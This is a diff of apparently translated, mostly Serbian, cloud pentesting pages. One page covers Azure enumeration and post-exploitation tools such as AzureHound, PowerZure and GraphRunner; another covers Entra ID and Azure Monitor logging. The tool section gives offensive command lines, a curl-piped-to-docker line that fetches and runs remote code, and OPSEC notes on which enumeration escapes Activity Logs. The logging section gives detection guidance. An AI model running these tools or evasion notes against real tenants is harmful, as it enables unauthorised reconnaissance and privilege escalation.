azurehound list -a "<client-id>" --cert "/path/cert.pem" --key "/path/key.pem" -t "<tenant-id>" -o ./output.json
# Targeted discovery
azurehound list users -t "<tenant-id>" -o users.json
azurehound list groups -t "<tenant-id>" -o groups.json
azurehound list roles -t "<tenant-id>" -o roles.json
azurehound list role-assignments -t "<tenant-id>" -o role-assignments.json
# Azure resources via ARM
azurehound list subscriptions -t "<tenant-id>" -o subs.json
azurehound list resource-groups -t "<tenant-id>" -o rgs.json
azurehound list virtual-machines -t "<tenant-id>" -o vms.json
azurehound list key-vaults -t "<tenant-id>" -o kv.json
azurehound list storage-accounts -t "<tenant-id>" -o sa.json
azurehound list storage-containers -t "<tenant-id>" -o containers.json
azurehound list web-apps -t "<tenant-id>" -o webapps.json
azurehound list function-apps -t "<tenant-id>" -o funcapps.json
```
What gets queried
- Graph endpoints (primeri):
- /v1.0/organization, /v1.0/users, /v1.0/groups, /v1.0/roleManagement/directory/roleDefinitions, directoryRoles, owners/members
- ARM endpoints (primeri):
- management.azure.com/subscriptions/.../providers/Microsoft.Storage/storageAccounts
- .../Microsoft.KeyVault/vaults, .../Microsoft.Compute/virtualMachines, .../Microsoft.Web/sites, .../Microsoft.ContainerService/managedClusters
Preflight behavior and endpoints
- Svaka azurehound list <object> obično izvrši ove test pozive pre enumeracije:
1) Identity platform: login.microsoftonline.com
2) Graph: GET https://graph.microsoft.com/v1.0/organization
3) ARM: GET https://management.azure.com/subscriptions?api-version=...
- Osnovni URL-ovi cloud environment-a se razlikuju za Government/China/Germany. Pogledajte constants/environments.go u repo-u.
ARM-heavy objects (less visible in Activity/Resource logs)
- Sledeća lista ciljeva pretežno koristi ARM control plane read operacije: automation-accounts, container-registries, function-apps, key-vaults, logic-apps, managed-clusters, management-groups, resource-groups, storage-accounts, storage-containers, virtual-machines, vm-scale-sets, web-apps.
- Ove GET/list operacije obično se ne zapisuju u Activity Logs; data-plane reads (npr. *.blob.core.windows.net, *.vault.azure.net) pokrivaju se putem Diagnostic Settings na nivou resursa.
OPSEC and logging notes
- Microsoft Graph Activity Logs nisu omogućeni po defaultu; omogućite ih i eksportujte u SIEM da biste dobili vidljivost Graph poziva. Očekujte Graph preflight GET /v1.0/organization sa UA azurehound/v2.x.x.
- Entra ID non-interactive sign-in logs beleže identity platform auth (login.microsoftonline.com) koji koristi AzureHound.
- ARM control-plane read/list operacije se ne zapisuju u Activity Logs; mnoge azurehound list operacije nad resursima se tamo neće pojaviti. Samo data-plane logovanje (putem Diagnostic Settings) će snimiti čitanja ka service endpointima.
- Defender XDR GraphApiAuditEvents (preview) može otkriti Graph pozive i identifikatore tokena, ali može nedostajati UserAgent i imati ograničen period zadržavanja.
Tip: When enumerating for privilege paths, dump users, groups, roles, and role assignments, then ingest in BloodHound and use prebuilt cypher queries to surface Global Administrator/Privileged Role Administrator and transitive escalation via nested groups and RBAC assignments.
Launch the BloodHound web with `curl -L https://ghst.ly/getbhce | docker compose -f - up` and import the `output.json` file. Then, in the EXPLORE tab, in the CYPHER section you can see a folder icon that contains pre-built queries.
### [**MicroBurst**](https://github.com/NetSPI/MicroBurst)
MicroBurst uključuje funkcije i skripte koje podržavaju otkrivanje Azure usluga, reviziju slabih konfiguracija i akcije nakon eksploatacije kao što je dumping kredencijala. Namenjen je za korišćenje tokom testova penetracije gde se koristi Azure.
MicroBurst includes functions and scripts that support Azure Services discovery, weak configuration auditing, and post exploitation actions such as credential dumping. It is intended to be used during penetration tests where Azure is in use.
```bash
Import-Module .\MicroBurst.psm1
Import-Module .\Get-AzureDomainInfo.ps1
@@ -285,9 +355,9 @@ Get-AzureDomainInfo -folder MicroBurst -Verbose
```
### [**PowerZure**](https://github.com/hausec/PowerZure)
PowerZure je stvoren iz potrebe za okvirom koji može da izvrši i izviđanje i eksploataciju Azure, EntraID i povezanih resursa.
PowerZure je nastao iz potrebe za framework-om koji može da obavlja i reconnaissance i exploitation nad Azure, EntraID i pripadajućim resursima.
Koristi **Az PowerShell** modul, tako da je svaka autentifikacija koju podržava ovaj alat podržana od strane alata.
Koristi **Az PowerShell** modul, pa su sve metode autentikacije koje taj modul podržava dostupne alatu.
```bash
# Login
Import-Module Az
@@ -318,7 +388,7 @@ Invoke-AzureRunCommand -Command <command> -VMName <vmname>
```
### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner)
GraphRunner je alat za post-exploitation koji se koristi za interakciju sa Microsoft Graph API. Pruža razne alate za izvođenje izviđanja, postojanosti i pljačkanja podataka iz Microsoft Entra ID (Azure AD) naloga.
GraphRunner je set alata za post-exploitation za interakciju sa Microsoft Graph API. Pruža razne alate za izvođenje reconnaissance, persistence i pillaging podataka iz Microsoft Entra ID (Azure AD) naloga.
```bash
#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
Import-Module .\GraphRunner.ps1
@@ -362,9 +432,9 @@ Invoke-GraphRunner -Tokens $tokens
```
### [Stormspotter](https://github.com/Azure/Stormspotter)
Stormspotter pravi “graf napada” resursa u Azure pretplati. Omogućava red timovima i pentesterima da vizualizuju površinu napada i mogućnosti prebacivanja unutar zakupca, i pojačava vaše branioca da brzo orijentišu i prioritizuju rad na odgovoru na incidente.
Stormspotter kreira “attack graph” resursa u Azure pretplati. Omogućava red teams i pentesters da vizualizuju attack surface i pivot opportunities unutar tenanta, i pojačava vaše defenders kako bi se brzo orijentisali i prioritetizovali incident response rad.
**Nažalost, izgleda da nije održavan**.
**Nažalost, izgleda da nije održavan**
```bash
# Start Backend
cd stormspotter\backend\
@@ -382,4 +452,13 @@ az login -u test@corp.onmicrosoft.com -p Welcome2022!
python stormspotter\stormcollector\sscollector.pyz cli
# This will generate a .zip file to upload in the frontend (127.0.0.1:9091)
```
## Reference
- [Otkrivanje u oblaku pomoću AzureHound (Unit 42)](https://unit42.paloaltonetworks.com/threat-actor-misuse-of-azurehound/)
- [AzureHound repozitorijum](https://github.com/SpecterOps/AzureHound)
- [BloodHound repozitorijum](https://github.com/SpecterOps/BloodHound)
- [AzureHound Community Edition zastavice](https://bloodhound.specterops.io/collect-data/ce-collection/azurehound-flags)
- [AzureHound constants/environments.go](https://github.com/SpecterOps/AzureHound/blob/main/constants/environments.go)
- [AzureHound client/storage_accounts.go](https://github.com/SpecterOps/AzureHound/blob/main/client/storage_accounts.go)
- [AzureHound client/roles.go](https://github.com/SpecterOps/AzureHound/blob/main/client/roles.go)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -2,51 +2,60 @@
{{#include ../../../banners/hacktricks-training.md}}
## Entra ID - Logs
## Entra ID - Logovi
Postoje 3 tipa logova dostupnih u Entra ID:
Postoje 3 tipa logova dostupna u Entra ID:
- **Sign-in Logs**: Logovi prijave dokumentuju svaki pokušaj autentifikacije, bilo uspešan ili neuspešan. Oni nude detalje kao što su IP adrese, lokacije, informacije o uređaju i primenjene politike uslovnog pristupa, što je od suštinskog značaja za praćenje aktivnosti korisnika i otkrivanje sumnjivog ponašanja prilikom prijave ili potencijalnih bezbednosnih pretnji.
- **Audit Logs**: Logovi revizije pružaju evidenciju svih promena napravljenih unutar vašeg Entra ID okruženja. Oni beleže ažuriranja korisnika, grupa, uloga ili politika, na primer. Ovi logovi su vitalni za usklađenost i bezbednosne istrage, jer vam omogućavaju da pregledate ko je napravio koju promenu i kada.
- **Provisioning Logs**: Logovi o dodeljivanju pružaju informacije o korisnicima dodeljenim u vašem tenant-u putem treće strane (kao što su lokalni direktorijumi ili SaaS aplikacije). Ovi logovi pomažu vam da razumete kako se informacije o identitetu sinhronizuju.
- **Sign-in Logs**: Logovi prijava dokumentuju svaki pokušaj autentikacije, bilo uspešan ili neuspešan. Pružaju detalje kao što su IP adrese, lokacije, informacije o uređaju i primenjene conditional access politike, što je ključno za praćenje aktivnosti korisnika i otkrivanje sumnjivih pokušaja prijave ili potencijalnih bezbednosnih pretnji.
- **Audit Logs**: Audit logovi beleže sve promene napravljene unutar vašeg Entra ID okruženja. Beleže ažuriranja korisnika, grupa, rola ili politika, na primer. Ovi logovi su vitalni za usklađenost i bezbednosne istrage, jer omogućavaju pregled ko je šta i kada menjao.
- **Provisioning Logs**: Provisioning logovi daju informacije o korisnicima provision-ovanim u vašem tenant-u preko third-party servisa (kao što su onpremises directories ili SaaS aplikacije). Ovi logovi pomažu da razumete kako se identity informacije sinhronizuju.
> [!WARNING]
> Imajte na umu da se ovi logovi čuvaju samo **7 dana** u besplatnoj verziji, **30 dana** u P1/P2 verziji i dodatnih 60 dana u bezbednosnim signalima za rizične aktivnosti prijave. Međutim, čak ni globalni administrator ne bi mogao da **modifikuje ili obriše ih ranije**.
> Imajte na umu da se ovi logovi čuvaju samo **7 dana** u besplatnoj verziji, **30 dana** u P1/P2 verziji i dodatnih 60 dana u security signals za risky signin activity. Međutim, čak ni global admin ne bi bio u mogućnosti da ih **izmeni ili obriše ranije**.
## Entra ID - Log Systems
- **Diagnostic Settings**: Dijagnostička podešavanja definišu listu kategorija platformskih logova i/ili metrika koje želite da prikupite sa resursa, i jedno ili više odredišta na koja ćete ih slati. Normalne naknade za korišćenje odredišta će se primeniti. Saznajte više o različitim kategorijama logova i sadržaju tih logova.
- **Diagnostic Settings**: Diagnostic setting definiše listu kategorija platformskih logova i/ili metrika koje želite da prikupite sa resursa, i jednu ili više destinacija na koje ćete ih stream-ovati. Normalne naknade za korišćenje destination će biti primenjene. Saznajte više o različitim kategorijama logova i sadržaju tih logova.
- **Destinations**:
- **Analytics Workspace**: Istraživanje kroz Azure Log Analytics i kreiranje upozorenja.
- **Storage account**: Statistička analiza i backup.
- **Event hub**: Strimovanje podataka u spoljne sisteme kao što su SIEM-ovi trećih strana.
- **Monitor partner solutions**: Specijalne integracije između Azure Monitor-a i drugih platformi za praćenje koje nisu Microsoftove.
- **Workbooks**: Workbooks kombinuju tekst, log upite, metrike i parametre u bogate interaktivne izveštaje.
- **Usage & Insights**: Korisno za pregled najčešćih aktivnosti u Entra ID.
- **Analytics Workspace**: Istraga kroz Azure Log Analytics i kreiranje alerts.
- **Storage account**: Statička analiza i backup.
- **Event hub**: Streamovanje podataka ka eksternim sistemima kao što su third-party SIEMs.
- **Monitor partner solutions**: Specijalne integracije između Azure Monitor i drugih nonMicrosoft monitoring platformi.
- **Workbooks**: Workbooks kombinuju tekst,log queries, metrike i parametre u bogate interaktivne izveštaje.
- **Usage & Insights**: Korisno za pregled najčešćih aktivnosti u Entra ID
## Azure Monitor
Ovo su glavne karakteristike Azure Monitor-a:
Ovo su glavne funkcije Azure Monitor:
- **Activity Logs**: Azure Activity Logs beleže događaje na nivou pretplate i operacije upravljanja, pružajući vam pregled promena i akcija preduzetih na vašim resursima.
- **Activity Logs**: Azure Activity Logs beleže događaje na nivou subscription-a i management operacije, dajući pregled promena i akcija preduzetih nad vašim resursima.
- **Activily logs** ne mogu biti modifikovani ili obrisani.
- **Change Analysis**: Change Analysis automatski otkriva i vizualizuje promene konfiguracije i stanja širom vaših Azure resursa kako bi pomogao u dijagnostikovanju problema i praćenju modifikacija tokom vremena.
- **Alerts**: Upozorenja iz Azure Monitor-a su automatske obaveštenja koja se aktiviraju kada su ispunjeni određeni uslovi ili pragovi u vašem Azure okruženju.
- **Workbooks**: Workbooks su interaktivne, prilagodljive kontrolne table unutar Azure Monitor-a koje vam omogućavaju da kombinujete i vizualizujete podatke iz različitih izvora za sveobuhvatnu analizu.
- **Investigator**: Investigator vam pomaže da detaljno istražite log podatke i upozorenja kako biste sproveli dubinsku analizu i identifikovali uzrok incidenata.
- **Insights**: Insights pružaju analitiku, metrike performansi i akcione preporuke (poput onih u Application Insights ili VM Insights) kako bi vam pomogli da pratite i optimizujete zdravlje i efikasnost vaših aplikacija i infrastrukture.
- **Change Analysis**: Change Analysis automatski detektuje i vizualizuje konfiguracione i state promene preko vaših Azure resursa kako bi pomogao u dijagnostikovanju problema i praćenju izmena kroz vreme.
- **Alerts**: Alerts iz Azure Monitor su automatizovane notifikacije koje se okidaju kada su određeni uslovi ili pragovi ispunjeni u vašem Azure okruženju.
- **Workbooks**: Workbooks su interaktivni, prilagodljivi dashboard-i unutar Azure Monitor koji vam omogućavaju da kombinujete i vizualizujete podatke iz različitih izvora za sveobuhvatnu analizu.
- **Investigator**: Investigator pomaže da dublje zaronite u log podatke i alerts kako biste sproveli detaljnu analizu i identifikovali uzrok incidenata.
- **Insights**: Insights pružaju analitiku, performansne metrike i akcione preporuke (poput onih u Application Insights ili VM Insights) kako bi vam pomogli da pratite i optimizujete zdravlje i efikasnost vaših aplikacija i infrastrukture.
### Log Analytics Workspaces
Log Analytics radni prostori su centralni repozitorijumi u Azure Monitor-u gde možete **prikupiti, analizirati i vizualizovati log i podatke o performansama** iz vaših Azure resursa i lokalnih okruženja. Evo ključnih tačaka:
Log Analytics workspaces su centralni repozitorijumi u Azure Monitor-u gde možete da **prikupljate, analizirate i vizualizujete log i performansne podatke** sa vaših Azure resursa i onpremises okruženja. Evo ključnih tačaka:
- **Centralized Data Storage**: Oni služe kao centralna lokacija za skladištenje dijagnostičkih logova, metrika performansi i prilagođenih logova koje generišu vaše aplikacije i usluge.
- **Powerful Query Capabilities**: Možete pokretati upite koristeći Kusto Query Language (KQL) za analizu podataka, generisanje uvida i rešavanje problema.
- **Integration with Monitoring Tools**: Log Analytics radni prostori se integrišu sa raznim Azure uslugama (kao što su Azure Monitor, Azure Sentinel i Application Insights) omogućavajući vam da kreirate kontrolne table, postavljate upozorenja i dobijete sveobuhvatan pregled vašeg okruženja.
- **Centralizovano skladištenje podataka**: Služe kao centralno mesto za čuvanje diagnostic logova, performansnih metrika i custom logova koje generišu vaše aplikacije i servisi.
- **Moćne mogućnosti upita**: Možete pokretati upite koristeći Kusto Query Language (KQL) za analizu podataka, generisanje uvida i rešavanje problema.
- **Integracija sa alatima za monitoring**: Log Analytics workspaces se integrišu sa raznim Azure servisima (kao što su Azure Monitor, Azure Sentinel i Application Insights) omogućavajući kreiranje dashboard-a, podešavanje alerts i sticanje sveobuhvatnog pogleda na okruženje.
Ukratko, Log Analytics radni prostor je od suštinskog značaja za napredno praćenje, rešavanje problema i analizu bezbednosti u Azure.
Ukratko, Log Analytics workspace je neophodan za napredno praćenje, rešavanje problema i bezbednosnu analizu u Azure.
Možete konfigurisati resurs da šalje podatke u analitički radni prostor iz **dijagnostičkih podešavanja** resursa.
Možete konfigurirati resurs da šalje podatke u analytics workspace iz **diagnostic settings** resursa.
## Graph vs ARM logging visibility (useful for OPSEC/hunting)
- Microsoft Graph Activity Logs nisu enabled po default-u. Omogućite i eksportujte ih (Event Hubs/Log Analytics/SIEM) da biste videli Graph read pozive. Alati poput AzureHound izvršavaju preflight GET prema /v1.0/organization koji će se pojaviti ovde; default UA opažen: azurehound/v2.x.x.
- Entra ID non-interactive sign-in logs beleže identity platform autentikaciju (login.microsoftonline.<tld>) koju koriste skripte/alati.
- ARM controlplane read/list (HTTP GET) operacije generalno se ne upisuju u Activity Logs. Vidljivost read operacija dolazi iz resource Diagnostic Settings za dataplane endpoint-e samo (npr. *.blob.core.windows.net, *.vault.azure.net) i ne dolazi iz ARM controlplane poziva prema management.azure.<tld>.
- Microsoft Defender XDR Advanced Hunting GraphApiAuditEvents (preview) može izložiti Graph pozive i token identifikatore ali može izostaviti UserAgent i ima ograničen default retention.
Kada hunt-ujete za AzureHound, korrelirajte Entra signin logove sa Graph Activity Logs na session ID, IP, user/object ID-jeve i tražite izlive Graph zahteva plus ARM management pozive koji nemaju pokrivenost u Activity Logovima.
## Enumeration
@@ -101,4 +110,7 @@ az monitor log-analytics workspace list --output table
az monitor metrics alert list --output table
az monitor activity-log alert list --output table
```
## Reference
- [Otkrivanje u oblaku pomoću AzureHound (Unit 42)](https://unit42.paloaltonetworks.com/threat-actor-misuse-of-azurehound/)
{{#include ../../../banners/hacktricks-training.md}}